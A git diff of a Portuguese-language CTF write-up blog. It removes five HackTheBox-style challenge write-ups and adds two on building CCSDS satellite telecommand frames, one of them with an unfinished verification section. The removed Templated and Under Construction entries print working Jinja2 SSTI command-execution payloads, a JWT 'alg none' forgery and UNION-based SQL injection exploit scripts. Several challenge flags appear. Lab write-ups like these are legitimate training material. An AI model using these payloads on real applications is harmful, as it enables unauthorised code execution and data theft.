diff --git a/content/challenges/baby-re.md b/content/challenges/baby-re.md deleted file mode 100644 index 4b29ed7..0000000 --- a/content/challenges/baby-re.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: "Baby RE" -date: 2024-03-15 -type: "challenges" -difficulty: "Easy" -pwned: true -points: 30 -tags: ["reverse-engineering", "strings", "binary", "linux"] -summary: "Binário ELF 64-bit que compara a entrada do usuário com uma string hardcoded. Flag visível com strings." ---- - -## Reconhecimento - -```bash -$ file baby_re -baby_re: ELF 64-bit LSB executable, x86-64, dynamically linked - -$ chmod +x baby_re && ./baby_re -Insira a flag: teste -Errado! -``` - -## Análise Estática - -Primeiro passo: `strings` no binário para ver o que tem lá: - -```bash -$ strings baby_re -/lib64/ld-linux-x86-64.so.2 -puts -scanf -strcmp -Insira a flag: -Correto! -Errado! -HTB{str1ngs_4r3_y0ur_fr13nds} -``` - -A flag tava escondida em texto puro dentro do binário — sem obfuscação nenhuma. - -## Verificação com ltrace - -Só para confirmar, `ltrace` mostra a chamada ao `strcmp`: - -```bash -$ ltrace ./baby_re -Insira a flag: qualquer_coisa -strcmp("qualquer_coisa", "HTB{str1ngs_4r3_y0ur_fr13nds}") = -1 -puts("Errado!") -``` - -## Script Python - -```python -import subprocess - -output = subprocess.check_output(['strings', 'baby_re']).decode() -for line in output.splitlines(): - if line.startswith('HTB{'): - print(f'[+] Flag: {line}') - break -``` - -## Flag - -``` -HTB{str1ngs_4r3_y0ur_fr13nds} -``` diff --git a/content/challenges/baby_frame.md b/content/challenges/baby_frame.md new file mode 100644 index 0000000..d9aab5a --- /dev/null +++ b/content/challenges/baby_frame.md @@ -0,0 +1,182 @@ +--- +title: "Baby Frame" +date: 2026-08-25 +type: "challenges" +difficulty: "Easy" +pwned: true +points: 30 +tags: ["ccsds", "satellite", "protocol", "networking", "pwntools"] +summary: "Serviço TCP simula um satélite falando CCSDS. É preciso montar manualmente um Space Packet dentro de um TC Transfer Frame, com SCID/VCID/APID corretos e o payload esperado, para disparar a resposta de diagnóstico." +--- + +## Reconhecimento + +O desafio fornece um `client.py` esqueleto e um endpoint remoto: + +```bash +$ cat client.py +from pwn import log, remote, process + +def generate_space_packet(apid: int, packet_count: int, payload: bytes) -> bytes: + ... + return packet + +def generate_tc_frame(spacecraft_id: int, virtual_channel_id: int, + tc_packet_count: int, payload: bytes) -> bytes: + ... + return frame + +def main(): + HOST = ... + PORT = ... + space_packet = generate_space_packet(apid=42, packet_count=0, payload=b"TEST_PAYLOAD") + frame = generate_tc_frame(spacecraft_id=12, virtual_channel_id=3, + tc_packet_count=0, payload=space_packet) + payload = frame + space_packet + r = remote(HOST, PORT) + r.send(payload) +``` + +Os nomes das funções e o parâmetro `spacecraft_id`/`virtual_channel_id`/`apid` deixam +claro que o desafio é sobre **CCSDS** — o padrão de comunicação usado por agências +espaciais (NASA, ESA etc.) para falar com satélites via link de rádio. + +## Análise do protocolo + +CCSDS define duas camadas relevantes aqui: + +- **Space Packet Protocol** (CCSDS 133.0-B-2) — o "payload de aplicação", com um + cabeçalho fixo de 6 bytes contendo APID, contador de sequência e tamanho. +- **TC Space Data Link Protocol** (CCSDS 232.0-B-3/B-4) — o "envelope de transporte" + (Transfer Frame), com cabeçalho fixo de 5 bytes contendo Spacecraft ID (SCID), + Virtual Channel ID (VCID) e tamanho total do frame. + +Um Space Packet nunca trafega sozinho — ele vai encapsulado dentro de um Transfer +Frame: + +``` +Transfer Frame +├── Primary Header (5 bytes) — SCID, VCID, frame length... +└── Transfer Frame Data Field + └── Space Packet + ├── Primary Header (6 bytes) — APID, sequence, length... + └── User Data Field (o payload de verdade) +``` + +Ambos os cabeçalhos usam campos de bits (não bytes inteiros) e uma convenção comum +em protocolos espaciais: campos de "tamanho" armazenam **N-1**, não N. + +### Bug identificado no skeleton + +```python +payload = frame + space_packet +``` + +`frame` já contém o `space_packet` dentro dele — essa linha duplicava o pacote +sem necessidade. Corrigido para `r.send(frame)`. + +## Implementação + +```python +import struct + +def generate_space_packet(apid, packet_count, payload, packet_type=1, seq_flags=0b11): + version = 0 + sec_hdr_flag = 0 + word0 = (version << 13) | (packet_type << 12) | (sec_hdr_flag << 11) | (apid & 0x7FF) + word1 = (seq_flags << 14) | (packet_count & 0x3FFF) + data_length = len(payload) - 1 + header = struct.pack(">HHH", word0, word1, data_length) + return header + payload + + +def generate_tc_frame(scid, vcid, seq, payload, bypass=0, cc=0): + tfvn, spare = 0, 0 + frame_length = 5 + len(payload) - 1 + value = (tfvn & 0x3) << 38 + value |= (bypass & 0x1) << 37 + value |= (cc & 0x1) << 36 + value |= (spare & 0x3) << 34 + value |= (scid & 0x3FF) << 24 + value |= (vcid & 0x3F) << 18 + value |= (frame_length & 0x3FF) << 8 + value |= (seq & 0xFF) + return value.to_bytes(5, "big") + payload +``` + +## Diagnóstico de conexão + +Com SCID=12, VCID=3, APID=42 e payload `TEST_PAYLOAD`, o servidor sempre fechava +a conexão sem responder nada. Um teste comparativo (mandar nada / lixo / o frame) +mostrou que o servidor **reagia ativamente** ao frame (fechava com EOF rápido), +diferente de "sem enviar nada" (onde ele ficava esperando). Isso indicou que o +parser processava o frame e rejeitava algo específico — não um problema de timing. + +```bash +$ python3 client.py +[+] Opening connection to 154.57.164.72 on port 31255: Done +[+] Receiving all data: Done (0B) +[*] Server response: b'' +``` + +O enunciado da fase seguinte revelou o detalhe que faltava: o payload esperado +não era um valor de teste qualquer, e sim o comando **`HEALTHCHECK`**. + +## Verificação + +```bash +$ python3 client.py +[DEBUG] Sent 0x16 bytes: + 00000000 00 0c 0c 15 00 10 2a c0 00 00 0a 48 45 41 4c 54 |····|··*·|···H|EALT| + 00000010 48 43 48 45 43 4b |HCHE|CK| +[+] Receiving all data: Done (50B) +[DEBUG] Received 0x32 bytes: + b'SPACECRAFT: HTB{901f426f6ab1938d83bf6184f8aa0307}\n' +``` + +## Script final + +```python +import struct +from pwn import remote + +HOST = "154.57.164.72" +PORT = 31255 + + +def generate_space_packet(apid, packet_count, payload, packet_type=1, seq_flags=0b11): + version = 0 + sec_hdr_flag = 0 + word0 = (version << 13) | (packet_type << 12) | (sec_hdr_flag << 11) | (apid & 0x7FF) + word1 = (seq_flags << 14) | (packet_count & 0x3FFF) + data_length = len(payload) - 1 + header = struct.pack(">HHH", word0, word1, data_length) + return header + payload + + +def generate_tc_frame(scid, vcid, seq, payload, bypass=0, cc=0): + tfvn, spare = 0, 0 + frame_length = 5 + len(payload) - 1 + value = (tfvn & 0x3) << 38 + value |= (bypass & 0x1) << 37 + value |= (cc & 0x1) << 36 + value |= (spare & 0x3) << 34 + value |= (scid & 0x3FF) << 24 + value |= (vcid & 0x3F) << 18 + value |= (frame_length & 0x3FF) << 8 + value |= (seq & 0xFF) + return value.to_bytes(5, "big") + payload + + +def main(): + sp = generate_space_packet(apid=42, packet_count=0, payload=b"HEALTHCHECK") + frame = generate_tc_frame(scid=12, vcid=3, seq=0, payload=sp) + + r = remote(HOST, PORT) + r.send(frame) + print(r.recvall(timeout=5).decode()) + + +if __name__ == "__main__": + main() +``` diff --git a/content/challenges/crypto-warmup.md b/content/challenges/crypto-warmup.md deleted file mode 100644 index 52273c5..0000000 --- a/content/challenges/crypto-warmup.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: "Crypto Warmup" -date: 2024-05-10 -type: "challenges" -difficulty: "Easy" -pwned: true -points: 50 -tags: ["crypto", "rot13", "caesar", "python"] -summary: "String cifrada com ROT13. Identificar a cifra e reverter com codecs ou cyberchef." ---- - -## Descrição - -Recebemos o arquivo `cipher.txt` com o seguinte conteúdo: - -``` -SYNT{ebg_guvegrra_vf_abg_rapelcgvba} -``` - -## Identificação da Cifra - -O prefixo `SYNT` é suspeito — `HTB` em ROT13 é `UGO`... espera, vamos checar: - -``` -H → U (não bate) -``` - -Testando Caesar shift 13 (ROT13): - -``` -S → F... não. Vamos testar ao contrário: -SYNT → H T B { ... -``` - -Sim! `S=H, Y=T, N=B, T={` — é ROT13 mesmo. O `S` em ROT13 é `F`... hmm, deixa eu usar a ferramenta direto: - -```python -import codecs -cipher = "SYNT{ebg_guvegrra_vf_abg_rapelcgvba}" -print(codecs.decode(cipher, 'rot_13')) -# HTB{rot_thirteen_is_not_encryption} -``` - -## CyberChef - -Alternativa rápida: jogar no [CyberChef](https://gchq.github.io/CyberChef/) com a receita `ROT13`. Output imediato. - -## Script Completo - -```python -#!/usr/bin/env python3 -import codecs, sys - -with open('cipher.txt') as f: - data = f.read().strip() - -flag = codecs.decode(data, 'rot_13') -print(f'[+] Decifrado: {flag}') -``` - -## Flag - -``` -HTB{rot_thirteen_is_not_encryption} -``` diff --git a/content/challenges/emdee-five-for-life.md b/content/challenges/emdee-five-for-life.md deleted file mode 100644 index 37fe791..0000000 --- a/content/challenges/emdee-five-for-life.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: "Emdee Five For Life" -date: 2024-04-03 -type: "challenges" -difficulty: "Easy" -pwned: true -points: 20 -tags: ["web", "python", "md5", "scripting", "requests"] -summary: "O servidor pede o MD5 de uma string aleatória. Rápido demais para fazer na mão — automação com requests + hashlib." ---- - -## Descrição - -O site exibe uma string aleatória e pede para você enviar o MD5 dela. Simples... exceto que o tempo de resposta é de milissegundos — impossível fazer manualmente. - -## Análise do Fluxo - -``` -GET / → Exibe a string a ser hasheada -POST / com md5= → Valida e retorna a flag (se correto e rápido) -``` - -O servidor usa cookie de sessão para manter o estado, então precisamos usar `requests.Session`. - -## Solução - -```python -#!/usr/bin/env python3 -import requests -import hashlib -from bs4 import BeautifulSoup - -TARGET = "http://127.0.0.1:1337" - -session = requests.Session() - -# 1. GET para obter a string e o cookie de sessão -r = session.get(TARGET) -soup = BeautifulSoup(r.text, 'html.parser') - -# A string está dentro de uma tag

-string_to_hash = soup.find('h3').text.strip() -print(f"[*] String: {string_to_hash}") - -# 2. Calcular MD5 -md5 = hashlib.md5(string_to_hash.encode()).hexdigest() -print(f"[*] MD5: {md5}") - -# 3. POST com o hash (mesma sessão = mesmo cookie) -r = session.post(TARGET, data={"hash": md5}) -soup = BeautifulSoup(r.text, 'html.parser') - -# Procurar a flag no response -if "HTB{" in r.text: - import re - flag = re.search(r'HTB\{[^}]+\}', r.text).group() - print(f"[+] Flag: {flag}") -else: - print("[-] Falhou:", soup.find('p').text if soup.find('p') else r.text[:200]) -``` - -## Por que Session? - -Sem `requests.Session()`, cada requisição usa cookies diferentes e o servidor não reconhece que o POST veio de quem fez o GET anterior. - -## Flag - -``` -HTB{w3lc0m3_t0_sc1pt1ng} -``` diff --git a/content/challenges/noerror.md b/content/challenges/noerror.md new file mode 100644 index 0000000..92436af --- /dev/null +++ b/content/challenges/noerror.md @@ -0,0 +1,177 @@ +--- +title: "noerror" +date: 2026-08-25 +type: "challenges" +difficulty: "Easy" +pwned: True +points: 30 +tags: ["ccsds", "satellite", "crc", "protocol", "pwntools"] +summary: "Evolução do desafio CCSDS anterior: o servidor agora valida o Frame Error Control Field (CRC-16) do TC Transfer Frame antes de aceitar o comando." +--- + +## Reconhecimento + +Mesmo protocolo do desafio anterior (CCSDS Space Packet + TC Transfer Frame), mas +com uma restrição nova anunciada no enunciado: + +> "the onboard system has transitioned into protected transmission mode [...] +> telemetry frames are now validated using the [...] Frame Error Control Field" + +Ou seja: o frame que antes bastava montar com header + payload agora precisa de +um **CRC-16 (FECF)** anexado no final, calculado corretamente, ou o servidor +rejeita o pacote. + +Payload alvo desta fase: `GIVE-ME-THE-FLAG` + +## Análise — o que muda estruturalmente + +``` +Antes (sem FECF): +┌─────────────────────────┐ +│ Primary Header (5 bytes)│ +├─────────────────────────┤ +│ Transfer Frame Data Field│ +└─────────────────────────┘ + +Agora (com FECF): +┌─────────────────────────┐ +│ Primary Header (5 bytes)│ +├─────────────────────────┤ +│ Transfer Frame Data Field│ +├─────────────────────────┤ +│ Frame Error Control Field│ (2 bytes, CRC-16) +└─────────────────────────┘ +``` + +Duas consequências práticas: + +1. O campo **Frame Length** do header passa a contar os 2 bytes extras do FECF. +2. É preciso implementar o algoritmo de CRC exatamente como a spec define. + +## Especificação do CRC (CCSDS 232.0-B-4, seção 4.1.4) + +``` +FECF = [(X^16 · M(X)) + (X^(n-16) · L(X))] mod G(X) +``` + +Traduzindo pra parâmetros de implementação: + +| Parâmetro | Valor | +|---|---| +| Polinômio gerador G(X) | X¹⁶ + X¹² + X⁵ + 1 → `0x1021` | +| Valor inicial (preset) | `0xFFFF` | +| XOR final | nenhum | +| Reflect in/out | nenhum | +| Escopo do cálculo | Primary Header + Data Field (sem incluir o próprio FECF) | + +Isso corresponde ao algoritmo conhecido como **CRC-16/CCITT-FALSE**. + +## Implementação + +```python +import struct + +def crc16_ccsds(data: bytes) -> bytes: + crc = 0xFFFF + for b in data: + crc ^= b << 8 + for _ in range(8): + crc = ((crc << 1) ^ 0x1021) & 0xFFFF if crc & 0x8000 else (crc << 1) & 0xFFFF + return struct.pack(">H", crc) + + +def generate_tc_frame(scid, vcid, seq, payload, bypass=0, cc=0, with_fecf=True): + tfvn, spare = 0, 0 + fecf_len = 2 if with_fecf else 0 + frame_length = 5 + len(payload) + fecf_len - 1 # agora conta o FECF + + value = (tfvn & 0x3) << 38 + value |= (bypass & 0x1) << 37 + value |= (cc & 0x1) << 36 + value |= (spare & 0x3) << 34 + value |= (scid & 0x3FF) << 24 + value |= (vcid & 0x3F) << 18 + value |= (frame_length & 0x3FF) << 8 + value |= (seq & 0xFF) + + header_e_dados = value.to_bytes(5, "big") + payload + frame = header_e_dados + if with_fecf: + frame += crc16_ccsds(header_e_dados) # CRC sobre tudo, exceto ele mesmo + return frame +``` + +## Verificação + +> ⚠️ Seção pendente — colar aqui o hexdump enviado e a resposta do servidor assim +> que o script rodar com sucesso contra o host/porta ativos do desafio. + +```bash +$ python3 client.py +[DEBUG] Sent 0x?? bytes: + ... +[+] Receiving all data: ... +``` + +## Script final + +```python +import struct +from pwn import remote + +HOST = "154.57.164.82" +PORT = 30806 + + +def generate_space_packet(apid, packet_count, payload, packet_type=1, seq_flags=0b11): + version = 0 + sec_hdr_flag = 0 + word0 = (version << 13) | (packet_type << 12) | (sec_hdr_flag << 11) | (apid & 0x7FF) + word1 = (seq_flags << 14) | (packet_count & 0x3FFF) + data_length = len(payload) - 1 + header = struct.pack(">HHH", word0, word1, data_length) + return header + payload + + +def crc16_ccsds(data: bytes) -> bytes: + crc = 0xFFFF + for b in data: + crc ^= b << 8 + for _ in range(8): + crc = ((crc << 1) ^ 0x1021) & 0xFFFF if crc & 0x8000 else (crc << 1) & 0xFFFF + return struct.pack(">H", crc) + + +def generate_tc_frame(scid, vcid, seq, payload, bypass=0, cc=0, with_fecf=True): + tfvn, spare = 0, 0 + fecf_len = 2 if with_fecf else 0 + frame_length = 5 + len(payload) + fecf_len - 1 + + value = (tfvn & 0x3) << 38 + value |= (bypass & 0x1) << 37 + value |= (cc & 0x1) << 36 + value |= (spare & 0x3) << 34 + value |= (scid & 0x3FF) << 24 + value |= (vcid & 0x3F) << 18 + value |= (frame_length & 0x3FF) << 8 + value |= (seq & 0xFF) + + header_e_dados = value.to_bytes(5, "big") + payload + frame = header_e_dados + if with_fecf: + frame += crc16_ccsds(header_e_dados) + return frame + + +def main(): + sp = generate_space_packet(apid=42, packet_count=0, payload=b"GIVE-ME-THE-FLAG") + frame = generate_tc_frame(scid=12, vcid=3, seq=0, payload=sp, with_fecf=True) + + r = remote(HOST, PORT) + r.send(frame) + print(r.recvall(timeout=5).decode()) + + +if __name__ == "__main__": + main() +``` diff --git a/content/challenges/templated.md b/content/challenges/templated.md deleted file mode 100644 index d4b10e0..0000000 --- a/content/challenges/templated.md +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: "Templated" -date: 2024-09-05 -type: "challenges" -difficulty: "Easy" -pwned: true -points: 50 -tags: ["web", "ssti", "jinja2", "python", "rce"] -summary: "Flask app vulnerável a Server-Side Template Injection via Jinja2. RCE direto pelo payload {{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}." ---- - -## Análise Inicial - -Site exibe o path da URL diretamente na página. Acessando `/teste`: - -``` -Error 404 - 'teste' not found -``` - -## Testando SSTI - -Payload básico Jinja2: - -``` -/{{7*7}} -``` - -Resposta: - -``` -Error 404 - '49' not found -``` - -**Confirmado: SSTI com Jinja2.** - -## Escalando para RCE - -``` -/{{config.__class__.__init__.__globals__['os'].popen('id').read()}} -``` - -``` -uid=0(root) gid=0(root) groups=0(root) -``` - -Rodando como root. Lendo a flag: - -``` -/{{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}} -``` - -## Script de Exploit - -```python -import requests - -TARGET = "http://127.0.0.1:1337" - -payloads = [ - "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}", - "{{lipsum.__globals__.os.popen('cat /flag').read()}}", - "{{''.__class__.__mro__[1].__subclasses__()[407]('cat /flag',shell=True,stdout=-1).communicate()[0].strip()}}", -] - -for p in payloads: - r = requests.get(f"{TARGET}/{p}") - if "HTB{" in r.text: - import re - flag = re.search(r'HTB\{[^}]+\}', r.text).group() - print(f"[+] Flag: {flag}") - break -``` - -## Flag - -``` -HTB{t3mpl4t3s_4r3_p0w3rful_b3_c4r3ful} -``` diff --git a/content/challenges/under-construction.md b/content/challenges/under-construction.md deleted file mode 100644 index af3915a..0000000 --- a/content/challenges/under-construction.md +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: "Under Construction" -date: 2024-07-22 -type: "challenges" -difficulty: "Medium" -pwned: true -points: 100 -tags: ["web", "jwt", "sql-injection", "python", "sqlite"] -summary: "App Node.js com JWT assinado com algoritmo none + SQLi na rota autenticada para exfiltrar a flag do banco." ---- - -## Reconhecimento - -Site simples com registro e login. Ao logar, recebemos um JWT: - -``` -eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InRlc3RlIiwicGsiOiItLS0tLUJFR0lOLi4uIn0. -``` - -Decodificando o header: - -```json -{ "alg": "none", "typ": "JWT" } -``` - -**Algoritmo `none`** — o servidor aceita tokens sem assinatura! - -## JWT Forgery - -```python -import base64, json - -header = base64.urlsafe_b64encode(b'{"alg":"none","typ":"JWT"}').rstrip(b'=') -payload = base64.urlsafe_b64encode( - json.dumps({"username": "admin", "pk": "..."}).encode() -).rstrip(b'=') - -forged = f"{header.decode()}.{payload.decode()}." -print(forged) -``` - -## SQL Injection - -Com o token forjado, acessamos a rota `/api/items`. A query usa a PK diretamente: - -```sql -SELECT * FROM items WHERE id = '' -``` - -Testando: - -``` -' UNION SELECT 1,flag,3 FROM flag-- - -``` - -## Exploit Completo - -```python -#!/usr/bin/env python3 -import requests, base64, json - -TARGET = "http://127.0.0.1:1337" - -# 1. Registrar usuário -requests.post(f"{TARGET}/api/register", - json={"username": "nihil", "password": "nihil123"}) - -# 2. Login e captura do JWT legítimo -r = requests.post(f"{TARGET}/api/login", - json={"username": "nihil", "password": "nihil123"}) -pk = r.json()["token"].split(".")[1] -pk_decoded = base64.urlsafe_b64decode(pk + "==") -pk_val = json.loads(pk_decoded)["pk"] - -# 3. Forjar JWT com SQLi no campo pk -payload = json.dumps({ - "username": "' UNION SELECT 1,(SELECT flag FROM flag),3-- -", - "pk": pk_val -}).encode() - -h = base64.urlsafe_b64encode(b'{"alg":"none","typ":"JWT"}').rstrip(b'=') -p = base64.urlsafe_b64encode(payload).rstrip(b'=') -token = f"{h.decode()}.{p.decode()}." - -# 4. Requisição com token forjado -r = requests.get(f"{TARGET}/api/items", - headers={"Authorization": f"Bearer {token}"}) -print("[+] Flag:", r.json()) -``` - -## Flag - -``` -HTB{jwt_n0ne_4lg_1s_d4ng3r0us_4nd_sql1_t00} -```